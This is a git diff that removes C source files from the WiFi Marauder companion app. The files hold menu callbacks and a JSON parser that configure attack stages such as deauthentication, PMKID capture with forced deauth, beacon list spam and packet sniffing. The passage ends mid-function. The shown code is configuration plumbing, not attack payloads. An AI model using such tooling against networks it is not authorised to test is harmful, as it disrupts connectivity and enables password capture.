WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_scan_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageScan* stage_scan = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_scan->timeout; -} - -void wifi_marauder_script_stage_menu_scan_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Type"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"ap", "station"}, - .setup_callback = wifi_marauder_scan_stage_type_setup_callback, - .change_callback = wifi_marauder_scan_stage_type_change_callback, - }; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Channel"), - .type = WifiMarauderScriptMenuItemTypeOptionsNumber, - .num_options = 12, - .options = {"none", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11"}, - .setup_callback = wifi_marauder_scan_stage_channel_setup_callback, - .change_callback = wifi_marauder_scan_stage_channel_change_callback, - }; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_scan_stage_timeout_setup_callback, - .select_callback = wifi_marauder_scan_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_select.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_select.c deleted file mode 100644 index a6121db95..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_select.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_select_stage_type_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->type); -} - -void wifi_marauder_select_stage_type_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - stage->type = option_index; -} - -void wifi_marauder_select_stage_filter_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - - if(stage->filter != NULL) { - variable_item_set_current_value_index(item, 0); - variable_item_set_current_value_text(item, stage->filter); - } else { - variable_item_set_current_value_index(item, 1); - } -} - -void wifi_marauder_select_stage_filter_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - - // Clears the filter if you change the option. Flipper input box does not accept blank text - if(variable_item_get_current_value_index(item) == 1) { - stage->filter = NULL; - variable_item_set_current_value_index(item, 0); - variable_item_set_values_count(item, 1); - } - - if(stage->filter != NULL) { - variable_item_set_current_value_text(item, stage->filter); - } else { - variable_item_set_current_value_text(item, ""); - } -} - -void wifi_marauder_select_stage_filter_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSelect* stage_select = app->script_edit_selected_stage->stage; - if(stage_select->filter == NULL) { - stage_select->filter = malloc(128); - } - app->user_input_string_reference = &stage_select->filter; -} - -void wifi_marauder_select_stage_indexes_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSelect* stage_select = app->script_edit_selected_stage->stage; - app->script_stage_edit_numbers_reference = &stage_select->indexes; - app->script_stage_edit_number_count_reference = &stage_select->index_count; -} - -void wifi_marauder_script_stage_menu_select_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Type"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"ap", "station"}, - .setup_callback = wifi_marauder_select_stage_type_setup_callback, - .change_callback = wifi_marauder_select_stage_type_change_callback}; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Filter"), - .type = WifiMarauderScriptMenuItemTypeString, - .num_options = 2, - .setup_callback = wifi_marauder_select_stage_filter_setup_callback, - .change_callback = wifi_marauder_select_stage_filter_change_callback, - .select_callback = wifi_marauder_select_stage_filter_select_callback}; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Indexes"), - .type = WifiMarauderScriptMenuItemTypeListNumber, - .num_options = 1, - .select_callback = wifi_marauder_select_stage_indexes_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffbeacon.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffbeacon.c deleted file mode 100644 index 11e7b3297..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffbeacon.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffbeacon_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffBeacon* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffbeacon_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffBeacon* stage_sniffbeacon = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffbeacon->timeout; -} - -void wifi_marauder_script_stage_menu_sniffbeacon_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffbeacon_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffbeacon_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffdeauth.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffdeauth.c deleted file mode 100644 index 935a55936..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffdeauth.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffdeauth_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffDeauth* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffdeauth_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffDeauth* stage_sniffdeauth = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffdeauth->timeout; -} - -void wifi_marauder_script_stage_menu_sniffdeauth_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffdeauth_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffdeauth_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffesp.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffesp.c deleted file mode 100644 index e90d6b06c..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffesp.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffesp_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffEsp* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffesp_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffEsp* stage_sniffesp = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffesp->timeout; -} - -void wifi_marauder_script_stage_menu_sniffesp_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffesp_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffesp_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpmkid.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpmkid.c deleted file mode 100644 index d4f1f8f36..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpmkid.c +++ /dev/null @@ -1,91 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -static void wifi_marauder_sniffpmkid_stage_force_deauth_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->force_deauth); -} - -static void wifi_marauder_sniffpmkid_stage_force_deauth_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - stage->force_deauth = option_index; -} - -static void wifi_marauder_sniffpmkid_stage_channel_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - if(stage->channel >= 0 && stage->channel < 12) { - variable_item_set_current_value_index(item, stage->channel); - } else { - variable_item_set_current_value_index(item, 0); - } -} - -static void wifi_marauder_sniffpmkid_stage_channel_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - stage->channel = option_index; -} - -static void wifi_marauder_sniffpmkid_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -static void wifi_marauder_sniffpmkid_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffPmkid* stage_sniffpmkid = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffpmkid->timeout; -} - -void wifi_marauder_script_stage_menu_sniffpmkid_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Force deauth"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"no", "yes"}, - .setup_callback = wifi_marauder_sniffpmkid_stage_force_deauth_setup_callback, - .change_callback = wifi_marauder_sniffpmkid_stage_force_deauth_change_callback}; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Channel"), - .type = WifiMarauderScriptMenuItemTypeOptionsNumber, - .num_options = 12, - .options = {"none", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11"}, - .setup_callback = wifi_marauder_sniffpmkid_stage_channel_setup_callback, - .change_callback = wifi_marauder_sniffpmkid_stage_channel_change_callback}; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffpmkid_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffpmkid_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpwn.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpwn.c deleted file mode 100644 index d0859cd8b..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpwn.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffpwn_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPwn* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffpwn_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffPwn* stage_sniffpwn = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffpwn->timeout; -} - -void wifi_marauder_script_stage_menu_sniffpwn_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffpwn_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffpwn_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffraw.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffraw.c deleted file mode 100644 index 39641f1ee..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffraw.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffraw_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffRaw* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffraw_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffRaw* stage_sniffraw = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffraw->timeout; -} - -void wifi_marauder_script_stage_menu_sniffraw_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffraw_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffraw_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/wifi_marauder_script.c b/applications/external/wifi_marauder_companion/script/wifi_marauder_script.c deleted file mode 100644 index 64dfacef5..000000000 --- a/applications/external/wifi_marauder_companion/script/wifi_marauder_script.c +++ /dev/null @@ -1,947 +0,0 @@ -#include "../wifi_marauder_app_i.h" -#include "wifi_marauder_script.h" - -WifiMarauderScript* wifi_marauder_script_alloc() { - WifiMarauderScript* script = (WifiMarauderScript*)malloc(sizeof(WifiMarauderScript)); - if(script == NULL) { - return NULL; - } - script->name = NULL; - script->description = NULL; - script->first_stage = NULL; - script->last_stage = NULL; - script->enable_led = WifiMarauderScriptBooleanUndefined; - script->save_pcap = WifiMarauderScriptBooleanUndefined; - script->repeat = 1; - return script; -} - -WifiMarauderScript* wifi_marauder_script_create(const char* script_name) { - WifiMarauderScript* script = wifi_marauder_script_alloc(); - script->name = strdup(script_name); - return script; -} - -void _wifi_marauder_script_load_meta(WifiMarauderScript* script, cJSON* meta_section) { - if(meta_section != NULL) { - // Script description - cJSON* description = cJSON_GetObjectItem(meta_section, "description"); - if(description != NULL) { - script->description = strdup(description->valuestring); - } - // Enable LED - cJSON* enable_led_json = cJSON_GetObjectItem(meta_section, "enableLed"); - if(cJSON_IsBool(enable_led_json)) { - script->enable_led = enable_led_json->valueint; - } - // Save PCAP - cJSON* save_pcap_json = cJSON_GetObjectItem(meta_section, "savePcap"); - if(cJSON_IsBool(save_pcap_json)) { - script->save_pcap = save_pcap_json->valueint; - } - // Times the script will be repeated - cJSON* repeat = cJSON_GetObjectItem(meta_section, "repeat"); - if(repeat != NULL) { - script->repeat = repeat->valueint; - } - } - if(script->description == NULL) { - script->description = strdup("My script"); - } -} - -WifiMarauderScriptStageScan* _wifi_marauder_script_get_stage_scan(cJSON* stages) { - cJSON* stage_scan = cJSON_GetObjectItem(stages, "scan"); - if(stage_scan == NULL) { - return NULL; - } - cJSON* type = cJSON_GetObjectItem(stage_scan, "type"); - if(type == NULL) { - return NULL; - } - WifiMarauderScriptScanType scan_type; - if(strcmp(type->valuestring, "ap") == 0) { - scan_type = WifiMarauderScriptScanTypeAp; - } else if(strcmp(type->valuestring, "station") == 0) { - scan_type = WifiMarauderScriptScanTypeStation; - } else { - return NULL; - } - cJSON* channel = cJSON_GetObjectItem(stage_scan, "channel"); - int scan_channel = channel != NULL ? (int)cJSON_GetNumberValue(channel) : 0; - cJSON* timeout = cJSON_GetObjectItem(stage_scan, "timeout"); - int scan_timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SCAN; - - WifiMarauderScriptStageScan* scan_stage = - (WifiMarauderScriptStageScan*)malloc(sizeof(WifiMarauderScriptStageScan)); - scan_stage->type = scan_type; - scan_stage->channel = scan_channel; - scan_stage->timeout = scan_timeout; - - return scan_stage; -} - -WifiMarauderScriptStageSelect* _wifi_marauder_script_get_stage_select(cJSON* stages) { - cJSON* select_stage_json = cJSON_GetObjectItemCaseSensitive(stages, "select"); - if(select_stage_json == NULL) { - return NULL; - } - - cJSON* type_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "type"); - cJSON* filter_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "filter"); - cJSON* indexes_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "indexes"); - cJSON* allow_repeat_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "allow_repeat"); - - if(!cJSON_IsString(type_json)) { - return NULL; - } - WifiMarauderScriptSelectType select_type; - if(strcmp(type_json->valuestring, "ap") == 0) { - select_type = WifiMarauderScriptSelectTypeAp; - } else if(strcmp(type_json->valuestring, "station") == 0) { - select_type = WifiMarauderScriptSelectTypeStation; - } else if(strcmp(type_json->valuestring, "ssid") == 0) { - select_type = WifiMarauderScriptSelectTypeSsid; - } else { - return NULL; - } - char* filter_str = cJSON_IsString(filter_json) ? strdup(filter_json->valuestring) : NULL; - - WifiMarauderScriptStageSelect* stage_select = - (WifiMarauderScriptStageSelect*)malloc(sizeof(WifiMarauderScriptStageSelect)); - stage_select->type = select_type; - stage_select->allow_repeat = cJSON_IsBool(allow_repeat_json) ? allow_repeat_json->valueint : - true; - stage_select->filter = filter_str; - - if(cJSON_IsArray(indexes_json)) { - int indexes_size = cJSON_GetArraySize(indexes_json); - int* indexes = (int*)malloc(indexes_size * sizeof(int)); - for(int i = 0; i < indexes_size; i++) { - cJSON* index_item = cJSON_GetArrayItem(indexes_json, i); - if(cJSON_IsNumber(index_item)) { - indexes[i] = index_item->valueint; - } - } - stage_select->indexes = indexes; - stage_select->index_count = indexes_size; - } else { - stage_select->indexes = NULL; - stage_select->index_count = 0; - } - - return stage_select; -} - -WifiMarauderScriptStageDeauth* _wifi_marauder_script_get_stage_deauth(cJSON* stages) { - cJSON* deauth_stage_json = cJSON_GetObjectItemCaseSensitive(stages, "deauth"); - if(deauth_stage_json == NULL) { - return NULL; - } - - cJSON* timeout = cJSON_GetObjectItem(deauth_stage_json, "timeout"); - int deauth_timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_DEAUTH; - - WifiMarauderScriptStageDeauth* deauth_stage = - (WifiMarauderScriptStageDeauth*)malloc(sizeof(WifiMarauderScriptStageDeauth)); - deauth_stage->timeout = deauth_timeout; - - return deauth_stage; -} - -WifiMarauderScriptStageProbe* _wifi_marauder_script_get_stage_probe(cJSON* stages) { - cJSON* probe_stage_json = cJSON_GetObjectItemCaseSensitive(stages, "probe"); - if(probe_stage_json == NULL) { - return NULL; - } - - cJSON* timeout = cJSON_GetObjectItem(probe_stage_json, "timeout"); - int probe_timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_PROBE; - - WifiMarauderScriptStageProbe* probe_stage = - (WifiMarauderScriptStageProbe*)malloc(sizeof(WifiMarauderScriptStageProbe)); - probe_stage->timeout = probe_timeout; - - return probe_stage; -} - -WifiMarauderScriptStageSniffRaw* _wifi_marauder_script_get_stage_sniff_raw(cJSON* stages) { - cJSON* sniffraw_stage_json = cJSON_GetObjectItem(stages, "sniffraw"); - if(sniffraw_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffraw_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffRaw* sniff_raw_stage = - (WifiMarauderScriptStageSniffRaw*)malloc(sizeof(WifiMarauderScriptStageSniffRaw)); - sniff_raw_stage->timeout = timeout; - - return sniff_raw_stage; -} - -WifiMarauderScriptStageSniffBeacon* _wifi_marauder_script_get_stage_sniff_beacon(cJSON* stages) { - cJSON* sniffbeacon_stage_json = cJSON_GetObjectItem(stages, "sniffbeacon"); - if(sniffbeacon_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffbeacon_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffBeacon* sniff_beacon_stage = - (WifiMarauderScriptStageSniffBeacon*)malloc(sizeof(WifiMarauderScriptStageSniffBeacon)); - sniff_beacon_stage->timeout = timeout; - - return sniff_beacon_stage; -} - -WifiMarauderScriptStageSniffDeauth* _wifi_marauder_script_get_stage_sniff_deauth(cJSON* stages) { - cJSON* sniffdeauth_stage_json = cJSON_GetObjectItem(stages, "sniffdeauth"); - if(sniffdeauth_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffdeauth_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffDeauth* sniff_deauth_stage = - (WifiMarauderScriptStageSniffDeauth*)malloc(sizeof(WifiMarauderScriptStageSniffDeauth)); - sniff_deauth_stage->timeout = timeout; - - return sniff_deauth_stage; -} - -WifiMarauderScriptStageSniffEsp* _wifi_marauder_script_get_stage_sniff_esp(cJSON* stages) { - cJSON* sniffesp_stage_json = cJSON_GetObjectItem(stages, "sniffesp"); - if(sniffesp_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffesp_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffEsp* sniff_esp_stage = - (WifiMarauderScriptStageSniffEsp*)malloc(sizeof(WifiMarauderScriptStageSniffEsp)); - sniff_esp_stage->timeout = timeout; - - return sniff_esp_stage; -} - -WifiMarauderScriptStageSniffPmkid* _wifi_marauder_script_get_stage_sniff_pmkid(cJSON* stages) { - cJSON* sniffpmkid_stage_json = cJSON_GetObjectItem(stages, "sniffpmkid"); - if(sniffpmkid_stage_json == NULL) { - return NULL; - } - - cJSON* channel_json = cJSON_GetObjectItem(sniffpmkid_stage_json, "channel"); - int channel = channel_json != NULL ? (int)cJSON_GetNumberValue(channel_json) : 0; - cJSON* timeout_json = cJSON_GetObjectItem(sniffpmkid_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - cJSON* force_deauth_json = - cJSON_GetObjectItemCaseSensitive(sniffpmkid_stage_json, "forceDeauth"); - bool force_deauth = cJSON_IsBool(force_deauth_json) ? force_deauth_json->valueint : true; - - WifiMarauderScriptStageSniffPmkid* sniff_pmkid_stage = - (WifiMarauderScriptStageSniffPmkid*)malloc(sizeof(WifiMarauderScriptStageSniffPmkid)); - sniff_pmkid_stage->channel = channel; - sniff_pmkid_stage->timeout = timeout; - sniff_pmkid_stage->force_deauth = force_deauth; - - return sniff_pmkid_stage; -} - -WifiMarauderScriptStageSniffPwn* _wifi_marauder_script_get_stage_sniff_pwn(cJSON* stages) { - cJSON* sniffpwn_stage_json = cJSON_GetObjectItem(stages, "sniffpwn"); - if(sniffpwn_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffpwn_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffPwn* sniff_pwn_stage = - (WifiMarauderScriptStageSniffPwn*)malloc(sizeof(WifiMarauderScriptStageSniffPwn)); - sniff_pwn_stage->timeout = timeout; - - return sniff_pwn_stage; -} - -WifiMarauderScriptStageBeaconList* _wifi_marauder_script_get_stage_beacon_list(cJSON* stages) { - cJSON* stage_beaconlist = cJSON_GetObjectItem(stages, "beaconList"); - if(stage_beaconlist == NULL) { - return NULL; - } - WifiMarauderScriptStageBeaconList* beaconlist_stage = - (WifiMarauderScriptStageBeaconList*)malloc(sizeof(WifiMarauderScriptStageBeaconList)); - if(beaconlist_stage == NULL) { - return NULL; - } - cJSON* ssids = cJSON_GetObjectItem(stage_beaconlist, "ssids"); - if(ssids == NULL) { - return NULL; - } - // SSID count - int ssid_count = cJSON_GetArraySize(ssids); - if(ssid_count == 0) { - return NULL; - } - beaconlist_stage->ssid_count = ssid_count; - // SSIDs - beaconlist_stage->ssids = (char**)malloc(sizeof(char*) * ssid_count); - if(beaconlist_stage->ssids == NULL) { - return NULL; - } - for(int i = 0; i < ssid_count; i++) { - cJSON* ssid = cJSON_GetArrayItem(ssids, i); - if(ssid == NULL) { - continue; - } - char* ssid_string = cJSON_GetStringValue(ssid); - if(ssid_string == NULL) { - continue; - } - beaconlist_stage->ssids[i] = (char*)malloc(sizeof(char) * (strlen(ssid_string) + 1)); - strcpy(beaconlist_stage->ssids[i], ssid_string); - } - // Timeout - cJSON* timeout = cJSON_GetObjectItem(stage_beaconlist, "timeout"); - beaconlist_stage->timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - // Random SSIDs - cJSON* random_ssids = cJSON_GetObjectItem(stage_beaconlist, "generate"); - beaconlist_stage->random_ssids = - random_ssids != NULL ? (int)cJSON_GetNumberValue(random_ssids) : 0; - - return beaconlist_stage; -} - -WifiMarauderScriptStageBeaconAp* _wifi_marauder_script_get_stage_beacon_ap(cJSON* stages) { - cJSON* beaconap_stage_json = cJSON_GetObjectItem(stages, "beaconAp"); - 